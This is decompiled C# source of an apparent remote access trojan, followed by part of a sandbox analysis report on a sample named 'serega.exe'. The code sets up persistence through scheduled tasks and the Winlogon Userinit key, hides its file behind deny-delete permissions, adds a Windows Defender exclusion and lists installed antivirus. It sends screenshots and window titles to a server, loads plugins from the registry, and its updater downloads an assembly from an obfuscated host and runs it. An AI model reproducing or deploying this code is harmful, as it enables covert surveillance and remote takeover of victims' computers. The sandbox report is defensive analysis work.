processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = EncryptString.Decode("+(R");
processStartInfo.Arguments = EncryptString.Decode("I@NAE^OP}zUm@fO??^zUm@fO??^OPP^m/?@^IO_@`D" + name + "D^PUm`UI^OYNU'I`O??'f^Jm'FmO_`D") + path + EncryptString.Decode("D^@IOQ?@`q@A^0^@)UN");
processStartInfo.Verb = EncryptString.Decode("m/IOA");
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
}
}
public static bool TaskCheck(string name)
{
return File.Exists(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("\"OA A"), name));
}
private static void DeletingTask(string name)
{
if (TaskCheck(name))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = EncryptString.Decode("+(R");
processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aP@?@\"@^a*^a\"I^D") + name + EncryptString.Decode("D^0^@)UN");
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo.Verb = EncryptString.Decode("m/IOA");
}
processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
}
}
public static void RunTask(string taskname)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = EncryptString.Decode("+(R");
processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^am/I^aU^aNI^D") + taskname + EncryptString.Decode("D");
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
}
private static void Schtasks(string Path, string Name, int minut)
{
if (!TaskCheck(Name))
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = false;
processStartInfo.CreateNoWindow = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = EncryptString.Decode("Y_P");
processStartInfo.Arguments = EncryptString.Decode("aY^AYENOA A^aYm@ON@^az^aAY^_UI/N@^a_'^") + minut + EncryptString.Decode("^aNI^D") + Name + EncryptString.Decode("D^aNm^D") + Path + EncryptString.Decode("D^");
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
processStartInfo.Arguments += EncryptString.Decode("a[C^8=b8t!\"^");
processStartInfo.Verb = EncryptString.Decode("m/IOA");
}
processStartInfo.Arguments += EncryptString.Decode("0^@)UN");
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
}
}
public static bool UserINIT(string Name)
{
try
{
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I")))
{
if ((string)registryKey.GetValue(EncryptString.Decode("]A@mUIUN")) == EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
{
return true;
}
}
using RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
if ((string)registryKey2.GetValue(EncryptString.Decode("]A@mUIUN")) != EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name)
{
registryKey2.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@%") + Name);
}
registryKey2.Close();
}
catch
{
return false;
}
return true;
}
public static void UserInitRemove()
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(EncryptString.Decode("!G*\"nv[tk(UYm'A'zNknUIP'fA^2\"k+/mm@IN:@mAU'IkfUI?'F'I"), writable: true);
registryKey.SetValue(EncryptString.Decode("]A@mUIUN"), EncryptString.Decode("+#knUIP'fAk!qAN@_.pk/A@mUIUNx@)@"));
registryKey.Close();
}
}
public class LastPing
{
private Timer timer;
private long ticks;
public LastPing(Client client)
{
ticks = DateTime.Now.Ticks;
timer = new Timer(Check, client, 0, 6000);
}
private int DiffSeconds(long startTime, DateTime endTime)
{
return (int)Math.Abs(new TimeSpan(endTime.Ticks - startTime).TotalSeconds);
}
private void Check(object obj)
{
if (DiffSeconds(ticks, DateTime.Now) > 60)
{
((Client)obj).Disconnect();
}
}
public void Disconnect()
{
if (timer != null)
{
timer.Dispose();
}
}
public void Last()
{
ticks = DateTime.Now.Ticks;
}
}
public class Methods
{
public static Random random = new Random();
public static string GetWindowsVersion()
{
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
//IL_0028: Unknown result type (might be due to invalid IL or missing references)
//IL_002e: Expected O, but got Unknown
try
{
ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdGJ@mONUIF!qAN@_")).Get().GetEnumerator();
try
{
if (enumerator.MoveNext())
{
ManagementObject val = (ManagementObject)enumerator.Current;
return (string)((ManagementBaseObject)val)[EncryptString.Decode("+OJNU'I")] + EncryptString.Decode("^") + (string)((ManagementBaseObject)val)[EncryptString.Decode("G!vmYEUN@YN/m@")];
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
}
catch
{
}
return EncryptString.Decode("tmm'm^b@N^:@mAU'I");
}
public static void Exit()
{
MutexControl.Exit();
Environment.Exit(0);
}
public static void MaxPriority()
{
try
{
Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.RealTime;
}
catch
{
}
}
public static void PreventSleep()
{
try
{
DllImport.SetThreadExecutionState((DllImport.EXECUTION_STATE)2147483651u);
}
catch
{
}
}
public static string GetExecutablePath()
{
return Assembly.GetExecutingAssembly().Location;
}
public static byte[] GetResourceFile(string name)
{
using Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
if (stream == null)
{
return null;
}
using MemoryStream memoryStream = new MemoryStream();
stream.CopyTo(memoryStream);
return memoryStream.ToArray();
}
public static List<string> GetHardwareInfo(string WIN32_Class, string ClassItemField)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_001c: Expected O, but got Unknown
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
//IL_0036: Expected O, but got Unknown
List<string> list = new List<string>();
ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("!tCt+\"^&^*[G(^") + WIN32_Class);
try
{
ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
try
{
while (enumerator.MoveNext())
{
ManagementObject val2 = (ManagementObject)enumerator.Current;
list.Add(((ManagementBaseObject)val2)[ClassItemField].ToString().Trim());
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
}
catch
{
}
return list;
}
public static string Antivirus()
{
//IL_002e: Unknown result type (might be due to invalid IL or missing references)
//IL_0034: Expected O, but got Unknown
//IL_0048: Unknown result type (might be due to invalid IL or missing references)
//IL_004f: Expected O, but got Unknown
try
{
string text = string.Empty;
ManagementObjectSearcher val = new ManagementObjectSearcher(EncryptString.Decode("kk") + Environment.MachineName + EncryptString.Decode("km''Nk!@Y/mUNq+@IN@mp"), EncryptString.Decode("!@?@YN^&^zm'_^vINU}Um/Acm'P/YN"));
try
{
ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
try
{
while (enumerator.MoveNext())
{
ManagementObject val2 = (ManagementObject)enumerator.Current;
text = text + ((ManagementBaseObject)val2)[EncryptString.Decode("PUAJ?Oq2O_@")].ToString() + EncryptString.Decode("S^");
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
if (text.Length > 2)
{
text = text.Remove(text.Length - 2);
}
return (!string.IsNullOrEmpty(text)) ? text : EncryptString.Decode("2av");
}
catch
{
return EncryptString.Decode("]I I'fI");
}
}
public static string GetActiveWindowTitle()
{
try
{
int num = 520;
StringBuilder stringBuilder = new StringBuilder(num);
if (DllImport.GetWindowText(DllImport.GetForegroundWindow(), stringBuilder, num) > 0)
{
return stringBuilder.ToString();
}
}
catch
{
}
return EncryptString.Decode("|=P?@5");
}
public static string Camera()
{
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
//IL_0014: Expected O, but got Unknown
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
try
{
ManagementObjectCollection val = new ManagementObjectSearcher(new ObjectQuery(EncryptString.Decode("!tCt+\"^&^*[G(^nUI.pdcIctINUNq^n8t[t^c2c+?OAA^`^$+O_@mO$"))).Get();
if (val.Count > 0)
{
ManagementObjectEnumerator enumerator = val.GetEnumerator();
try
{
if (enumerator.MoveNext())
{
return (string)((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+OJNU'I")];
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
}
return EncryptString.Decode("2'I@");
}
catch
{
}
return EncryptString.Decode("2'I@");
}
public static byte[] CaptureResizeReduceQuality()
{
//IL_0028: Unknown result type (might be due to invalid IL or missing references)
//IL_002f: Expected O, but got Unknown
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
//IL_0067: Expected O, but got Unknown
//IL_0099: Unknown result type (might be due to invalid IL or missing references)
//IL_00a0: Expected O, but got Unknown
//IL_00b2: Unknown result type (might be due to invalid IL or missing references)
//IL_00b9: Expected O, but got Unknown
int num = 100;
int num2 = 100;
long num3 = 100L;
Rectangle bounds = Screen.GetBounds(Point.Empty);
Bitmap val = new Bitmap(bounds.Width, bounds.Height, (PixelFormat)2498570);
Graphics val2 = Graphics.FromImage((Image)(object)val);
try
{
val2.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
}
finally
{
((IDisposable)val2)?.Dispose();
}
Bitmap val3 = new Bitmap(num, num2);
Graphics val4 = Graphics.FromImage((Image)(object)val3);
try
{
val4.InterpolationMode = (InterpolationMode)7;
val4.DrawImage((Image)(object)val, 0, 0, num, num2);
}
finally
{
((IDisposable)val4)?.Dispose();
}
EncoderParameter val5 = new EncoderParameter(Encoder.Quality, num3);
ImageCodecInfo encoderInfo = GetEncoderInfo(EncryptString.Decode("U_OF@arJ@F"));
EncoderParameters val6 = new EncoderParameters(1);
val6.Param[0] = val5;
using MemoryStream memoryStream = new MemoryStream();
((Image)val3).Save((Stream)memoryStream, encoderInfo, val6);
return memoryStream.ToArray();
}
private static ImageCodecInfo GetEncoderInfo(string mimeType)
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
foreach (ImageCodecInfo val in imageEncoders)
{
if (val.MimeType == mimeType)
{
return val;
}
}
return null;
}
public static string GetPath(string pth)
{
pth = pth.Replace(EncryptString.Decode("gnUIP'fAg"), Environment.GetFolderPath(Environment.SpecialFolder.Windows));
pth = pth.Replace(EncryptString.Decode("gcm'FmO_*U?@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
pth = pth.Replace(EncryptString.Decode("gvJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
pth = pth.Replace(EncryptString.Decode("g]A@mcm'zU?@g"), Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));
pth = pth.Replace(EncryptString.Decode("g(qR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.Personal));
pth = pth.Replace(EncryptString.Decode("g+'' U@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
pth = pth.Replace(EncryptString.Decode("g+'__'IcUYN/m@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.CommonPictures));
pth = pth.Replace(EncryptString.Decode("gC'YO?vJJ?UYONU'IRONOg"), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));
pth = pth.Replace(EncryptString.Decode("g+'__'IR'Y/_@INAg"), Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments));
pth = pth.Replace(EncryptString.Decode("g\"@_J?ON@Ag"), Environment.GetFolderPath(Environment.SpecialFolder.Templates));
pth = pth.Replace(EncryptString.Decode("g(q(/AUYg"), Environment.GetFolderPath(Environment.SpecialFolder.MyMusic));
pth = pth.Replace(EncryptString.Decode("g(q:UP@'Ag"), Environment.GetFolderPath(Environment.SpecialFolder.MyVideos));
return pth;
}
}
public static class MutexControl
{
public static Mutex currentApp;
public static bool createdNew;
public static bool CreateMutex(string mtx)
{
currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
return createdNew;
}
public static void Exit()
{
if (currentApp != null)
{
currentApp.Dispose();
}
}
}
public class PingChecker
{
private Timer counter;
private Timer initializer;
private int interval;
private bool pong;
private string oldtitle;
public PingChecker(Client client)
{
initializer = new Timer(Sender, client, 5000, 10000);
pong = true;
}
public void Start()
{
interval = 0;
counter = new Timer(pay, null, 1, 1);
}
public void Stop(Client client)
{
if (counter != null)
{
counter.Dispose();
}
string activeWindowTitle = Methods.GetActiveWindowTitle();
if (activeWindowTitle != oldtitle)
{
oldtitle = activeWindowTitle;
client.Send(LEB128.Write(new object[4]
{
EncryptString.Decode("c'IF"),
interval,
activeWindowTitle,
Methods.CaptureResizeReduceQuality()
}));
}
else
{
client.Send(LEB128.Write(new object[2]
{
EncryptString.Decode("c'IF"),
interval
}));
}
pong = true;
}
public void Disconnect()
{
if (counter != null)
{
counter.Dispose();
}
if (initializer != null)
{
initializer.Dispose();
}
pong = false;
}
private void Sender(object obj)
{
if (pong)
{
pong = false;
((Client)obj).Send(LEB128.Write(new object[1] { EncryptString.Decode("cUIF") }));
Start();
GC.Collect();
}
}
private void pay(object obj)
{
interval++;
}
}
internal class PluginLoader
{
public static List<object[]> invokes = new List<object[]>();
public static void SaveInvoke(object[] objects, Client client)
{
SetRegistry.SetValue((string)objects[1], Convert.ToBase64String((byte[])objects[2]));
foreach (object[] item in invokes.ToList())
{
if ((string)item[0] == (string)objects[1])
{
client.Disconnect();
Load(item, Program.client);
invokes.Remove(item);
}
}
}
public static void Invoke(object[] objects, Client client)
{
if (SetRegistry.GetValue((string)objects[1]) == null)
{
Client client2 = new Client();
string[] array = client.socket.RemoteEndPoint.ToString().Split(new char[1] { ':' });
client2.Connect(array[0], array[1]);
client2.Send(LEB128.Write(new object[2]
{
EncryptString.Decode("b@NRCC"),
(string)objects[1]
}));
invokes.Add(new object[2]
{
(string)objects[1],
(byte[])objects[2]
});
}
else
{
Load(new object[2]
{
(string)objects[1],
(byte[])objects[2]
}, Program.client);
}
}
public static void Load(object[] Messages, Client client)
{
try
{
Type? type = AppDomain.CurrentDomain.Load(Convert.FromBase64String(SetRegistry.GetValue((string)Messages[0]))).GetType(EncryptString.Decode("c?/FUIxc?/FUI"));
object obj = Activator.CreateInstance(type);
MethodInfo method = type.GetMethod(EncryptString.Decode("[/I"));
object[] parameters = new object[4]
{
client.socket,
Config.ServerCertificate,
Config.Hwid,
(byte[])Messages[1]
};
method.Invoke(obj, parameters);
}
catch (Exception ex)
{
client.Error(EncryptString.Decode("C'OP^@mm'm#^") + ex.ToString());
}
}
}
internal class SecrityHidden
{
public static string[] Naming = new string[2]
{
Environment.UserName,
Environment.UserDomainName
};
public static string[] NamingAdm = new string[2]
{
EncryptString.Decode("!qAN@_"),
EncryptString.Decode("\"m/AN@P=IAmO??@m")
};
public static void Unlock(string path)
{
try
{
FileInfo fileInfo = new FileInfo(path);
try
{
string[] naming = Naming;
foreach (string account in naming)
{
RemoveFileSecurity(fileInfo.FullName, account, FileSystemRights.Delete, AccessControlType.Deny);
}
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
naming = NamingAdm;
foreach (string account2 in naming)
{
RemoveFileSecurity(fileInfo.FullName, account2, FileSystemRights.Delete, AccessControlType.Deny);
}
}
}
catch
{
}
fileInfo.Directory.Attributes = FileAttributes.Normal;
fileInfo.Attributes = FileAttributes.Normal;
}
catch
{
}
}
public static void HiddenFile(string path)
{
try
{
FileInfo fileInfo = new FileInfo(path);
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
fileInfo.Attributes = FileAttributes.Hidden | FileAttributes.System;
}
else
{
fileInfo.Attributes = FileAttributes.Hidden;
}
string[] naming = Naming;
foreach (string account in naming)
{
AddFileSecurity(path, account, FileSystemRights.Delete, AccessControlType.Deny);
AddFileSecurity(path, account, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
}
if (Config.Privilege == EncryptString.Decode("vP_UI"))
{
naming = NamingAdm;
foreach (string account2 in naming)
{
AddFileSecurity(path, account2, FileSystemRights.Delete, AccessControlType.Deny);
AddFileSecurity(path, account2, FileSystemRights.ReadAndExecute, AccessControlType.Allow);
}
}
}
catch
{
}
}
public static void RemoveFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
{
try
{
FileSecurity accessControl = File.GetAccessControl(fileName);
accessControl.RemoveAccessRule(new FileSystemAccessRule(account, rights, controlType));
File.SetAccessControl(fileName, accessControl);
}
catch
{
Thread.Sleep(10);
}
}
public static void AddFileSecurity(string fileName, string account, FileSystemRights rights, AccessControlType controlType)
{
try
{
FileSecurity accessControl = File.GetAccessControl(fileName);
accessControl.AddAccessRule(new FileSystemAccessRule(account, rights, controlType));
File.SetAccessControl(fileName, accessControl);
}
catch
{
Thread.Sleep(10);
}
}
}
internal class SetRegistry
{
public static bool CheckValue(string name)
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
if (registryKey.GetValue(name) != null)
{
return true;
}
}
catch
{
}
return false;
}
public static void SetValue(string name, string value)
{
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey, RegistryKeyPermissionCheck.ReadWriteSubTree);
if (CheckValue(name))
{
registryKey.DeleteValue(name);
}
registryKey.SetValue(name, value);
}
public static string GetValue(string name)
{
if (!CheckValue(name))
{
return null;
}
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(Config.RegKey);
return (string)registryKey.GetValue(name);
}
}
public class Updater
{
private static string ServerAddress = EncryptString.Decode("K~Wx~Xx~XxpKo");
private static string Port = EncryptString.Decode("Kp.~X");
private static string XyiloZachemReversish = EncryptString.Decode("F@N/JPON@");
public static async Task Main()
{
using TcpClient client = new TcpClient();
await client.ConnectAsync(ServerAddress, int.Parse(Port));
using NetworkStream networkStream = client.GetStream();
using (new StreamReader(networkStream, Encoding.UTF8))
{
using StreamWriter writer = new StreamWriter(networkStream, Encoding.UTF8)
{
AutoFlush = true
};
await writer.WriteLineAsync(XyiloZachemReversish);
using MemoryStream memoryStream = new MemoryStream();
await networkStream.CopyToAsync(memoryStream);
byte[] array = memoryStream.ToArray();
if (array.Length != 0)
{
MethodInfo entryPoint = Assembly.Load(array).EntryPoint;
if (entryPoint != null)
{
object[] parameters;
if (entryPoint.GetParameters().Length != 0)
{
(parameters = new object[1])[0] = new string[0];
}
else
{
parameters = null;
}
entryPoint.Invoke(null, parameters);
}
}
else
{
MessageBox.Show("Получены пустые байты.");
}
}
}
}
internal class WindowsDefenderExclusion
{
public static void Exc(string path)
{
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
//IL_0030: Unknown result type (might be due to invalid IL or missing references)
//IL_0088: Unknown result type (might be due to invalid IL or missing references)
//IL_008d: Unknown result type (might be due to invalid IL or missing references)
try
{
string text = null;
ManagementObjectEnumerator enumerator = new ManagementObjectSearcher(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), EncryptString.Decode("!tCt+\"^&^*[G(^(!*\"d(Jcm@z@m@IY@")).Get().GetEnumerator();
try
{
while (enumerator.MoveNext())
{
text = ((ManagementBaseObject)(ManagementObject)enumerator.Current)[EncryptString.Decode("+'_J/N@m=R")].ToString();
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
string text2 = EncryptString.Decode("(!*\"d(Jcm@z@m@IY@x+'_J/N@m=R`$") + text + EncryptString.Decode("$");
ManagementObject val = new ManagementObject(EncryptString.Decode("m''Nk(UYm'A'zNknUIP'fAkR@z@IP@m"), text2, (ObjectGetOptions)null);
ManagementBaseObject methodParameters = val.GetMethodParameters(EncryptString.Decode("vPP"));
List<string> list = new List<string> { new FileInfo(path).Directory.FullName };
methodParameters[EncryptString.Decode("t)Y?/AU'IcONE")] = list.ToArray();
val.InvokeMethod(EncryptString.Decode("vPP"), methodParameters, (InvokeMethodOptions)null);
}
catch
{
}
}
}
internal class Xor
{
public static byte[] DecodEncod(byte[] data, byte[] key)
{
int[] array = new int[256];
for (int i = 0; i < 256; i++)
{
array[i] = i;
}
int[] array2 = new int[256];
if (key.Length == 256)
{
Buffer.BlockCopy(key, 0, array2, 0, key.Length);
}
else
{
for (int j = 0; j < 256; j++)
{
array2[j] = key[j % key.Length];
}
}
int num = 0;
for (int k = 0; k < 256; k++)
{
num = (num + array[k] + array2[k]) % 256;
int num2 = array[k];
array[k] = array[num];
array[num] = num2;
}
int num3;
int num4 = (num3 = 0);
byte[] array3 = new byte[data.Length];
for (int l = 0; l < data.Length; l++)
{
num3 = (num3 + 1) % 256;
num4 = (num4 + array[num3]) % 256;
int num5 = array[num3];
array[num3] = array[num4];
array[num4] = num5;
int num6 = array[(array[num3] + array[num4]) % 256];
array3[l] = Convert.ToByte(data[l] ^ num6);
}
return array3;
}
}
public class LEB128
{
public static object[] Read(byte[] data)
{
List<object> list = new List<object>();
using MemoryStream memoryStream = new MemoryStream(data);
while (true)
{
int num = memoryStream.ReadByte();
switch (num)
{
case 0:
list.Add(LEB128Coding.ReadLebString(memoryStream));
break;
case 1:
list.Add(LEB128Coding.ReadLebBool(memoryStream));
break;
case 2:
list.Add(LEB128Coding.ReadLebByte(memoryStream));
break;
case 3:
list.Add(LEB128Coding.ReadLebShort(memoryStream));
break;
case 4:
list.Add(LEB128Coding.ReadLebInt(memoryStream));
break;
case 5:
list.Add(LEB128Coding.ReadLebLong(memoryStream));
break;
case 6:
list.Add(LEB128Coding.ReadLebFloat(memoryStream));
break;
case 7:
list.Add(LEB128Coding.ReadLebDouble(memoryStream));
break;
case 8:
list.Add(LEB128Coding.ReadLebArray(memoryStream));
break;
case 9:
list.Add(LEB128Coding.ReadLebUshort(memoryStream));
break;
case 10:
list.Add(LEB128Coding.ReadLebUint(memoryStream));
break;
case 11:
list.Add(LEB128Coding.ReadLebUlong(memoryStream));
break;
case 12:
list.Add(Read(LEB128Coding.ReadLebArray(memoryStream)));
break;
default:
throw new Exception(num.ToString());
case -1:
return list.ToArray();
}
}
}
public static byte[] Write(object[] data)
{
using MemoryStream memoryStream = new MemoryStream();
foreach (object obj in data)
{
if (obj is string)
{
memoryStream.WriteByte(0);
LEB128Coding.WriteLeb(memoryStream, (string)obj);
continue;
}
if (obj is bool)
{
memoryStream.WriteByte(1);
LEB128Coding.WriteLeb(memoryStream, (bool)obj);
continue;
}
if (obj is byte)
{
memoryStream.WriteByte(2);
LEB128Coding.WriteLeb(memoryStream, (byte)obj);
continue;
}
if (obj is short)
{
memoryStream.WriteByte(3);
LEB128Coding.WriteLeb(memoryStream, (short)obj);
continue;
}
if (obj is int)
{
memoryStream.WriteByte(4);
LEB128Coding.WriteLeb(memoryStream, (int)obj);
continue;
}
if (obj is long)
{
memoryStream.WriteByte(5);
LEB128Coding.WriteLeb(memoryStream, (long)obj);
continue;
}
if (obj is float)
{
memoryStream.WriteByte(6);
LEB128Coding.WriteLeb(memoryStream, (float)obj);
continue;
}
if (obj is double)
{
memoryStream.WriteByte(7);
LEB128Coding.WriteLeb(memoryStream, (double)obj);
continue;
}
if (obj is byte[])
{
memoryStream.WriteByte(8);
LEB128Coding.WriteLeb(memoryStream, (byte[])obj);
continue;
}
if (obj is ushort)
{
memoryStream.WriteByte(9);
LEB128Coding.WriteLeb(memoryStream, (ushort)obj);
continue;
}
if (obj is uint)
{
memoryStream.WriteByte(10);
LEB128Coding.WriteLeb(memoryStream, (uint)obj);
continue;
}
if (obj is ulong)
{
memoryStream.WriteByte(11);
LEB128Coding.WriteLeb(memoryStream, (ulong)obj);
continue;
}
if (!(obj is object[]))
{
throw new Exception(obj.GetType().Name);
}
memoryStream.WriteByte(12);
LEB128Coding.WriteLeb(memoryStream, Write((object[])obj));
}
return memoryStream.ToArray();
}
}
internal class LEB128Coding
{
public static void WriteLeb(Stream stream, byte[] buffer)
{
byte[] bytes = BitConverter.GetBytes(buffer.Length);
stream.Write(bytes, 0, bytes.Length);
stream.Write(buffer, 0, buffer.Length);
}
public static void WriteLeb(Stream stream, string data)
{
WriteLeb(stream, Encoding.UTF8.GetBytes(data));
}
public static void WriteLeb(Stream stream, bool data)
{
stream.WriteByte(Convert.ToByte(data));
}
public static void WriteLeb(Stream stream, byte data)
{
stream.WriteByte(data);
}
public static void WriteLeb(Stream stream, short data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, int data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, long data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, float data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, double data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, ushort data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, uint data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static void WriteLeb(Stream stream, ulong data)
{
byte[] bytes = BitConverter.GetBytes(data);
stream.Write(bytes, 0, bytes.Length);
}
public static byte[] ReadLebArray(Stream stream)
{
byte[] array = new byte[4];
stream.Read(array, 0, 4);
int num = BitConverter.ToInt32(array, 0);
byte[] array2 = new byte[num];
stream.Read(array2, 0, num);
return array2;
}
public static string ReadLebString(Stream stream)
{
return Encoding.UTF8.GetString(ReadLebArray(stream));
}
public static bool ReadLebBool(Stream stream)
{
return Convert.ToBoolean(stream.ReadByte());
}
public static byte ReadLebByte(Stream stream)
{
return (byte)stream.ReadByte();
}
public static short ReadLebShort(Stream stream)
{
byte[] array = new byte[2];
stream.Read(array, 0, array.Length);
return BitConverter.ToInt16(array, 0);
}
public static int ReadLebInt(Stream stream)
{
byte[] array = new byte[4];
stream.Read(array, 0, array.Length);
return BitConverter.ToInt32(array, 0);
}
public static long ReadLebLong(Stream stream)
{
byte[] array = new byte[8];
stream.Read(array, 0, array.Length);
return BitConverter.ToInt64(array, 0);
}
public static float ReadLebFloat(Stream stream)
{
byte[] array = new byte[4];
stream.Read(array, 0, array.Length);
return BitConverter.ToSingle(array, 0);
}
public static double ReadLebDouble(Stream stream)
{
byte[] array = new byte[8];
stream.Read(array, 0, array.Length);
return BitConverter.ToDouble(array, 0);
}
public static ushort ReadLebUshort(Stream stream)
{
byte[] array = new byte[2];
stream.Read(array, 0, array.Length);
return BitConverter.ToUInt16(array, 0);
}
public static uint ReadLebUint(Stream stream)
{
byte[] array = new byte[4];
stream.Read(array, 0, array.Length);
return BitConverter.ToUInt32(array, 0);
}
public static ulong ReadLebUlong(Stream stream)
{
byte[] array = new byte[8];
stream.Read(array, 0, array.Length);
return BitConverter.ToUInt64(array, 0);
}
}Screen recording
20 frames · screen recording · 166sBehavior summary
ran 166s27 process(es) observed
Evasion / anti-analysis checks
4 checksStatically visible checks (RDTSC/CPUID/red-pill instructions, anti-debug APIs) plus runtime evasion signals. Instruction-level interception at runtime requires hypervisor introspection (VMI).
Anti-analysis API trace
3 APIs · 10 processes hookedCalls counted inside the running sample by in-process hooks. Scored means the call crossed the threshold that separates a deliberate check from what ordinary software does; a call that scored nothing is still listed, with the reason.
| API | Signal | Calls | Sleep | Scored |
|---|---|---|---|---|
| GetTickCount | timing | 100 | - | no corroborates, never convicts on its own - ordinary software calls this |
| GetTickCount64 | timing | 100 | - | no corroborates, never convicts on its own - ordinary software calls this |
| IsDebuggerPresent | anti_debug | 1 | - | no one call only, which some build configurations make at startup without asking the question |
How to read the numbers: a repeated call is sampled at 1, 10, 100 and so on while the run is live and made exact when the process exits, so a count is a floor and not a total. The count kept for a name is the highest a single process reported, not a sum across the process tree. The hooks are placed a few seconds after a process starts, so a check made in the first moments of a launch is missed - and a sample that exits in those first seconds is never watched at all.
Module loads
60 notable · 128 from system directoriesModules the sample asked for by name while it ran, recorded inside its own process. Loads from system and installed-program directories are counted but not listed - what is listed is a module from somewhere else, a load that failed, or one whose loader is the question.
| Process | Module | Loaded | Why listed |
|---|---|---|---|
| serega.exe 4132 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 4132 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
| serega.exe 4132 | C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\463f17277ec4… | yes | outside the system and installed-program directories |
| serega.exe 4132 | C:\Windows\SYSTEM32\SspiCli.dll asked for sspicli.dll | yes | a module whose loader is the question |
| serega.exe 3648 | C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c5… | no | the load failed |
| serega.exe 3648 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll | no | the load failed |
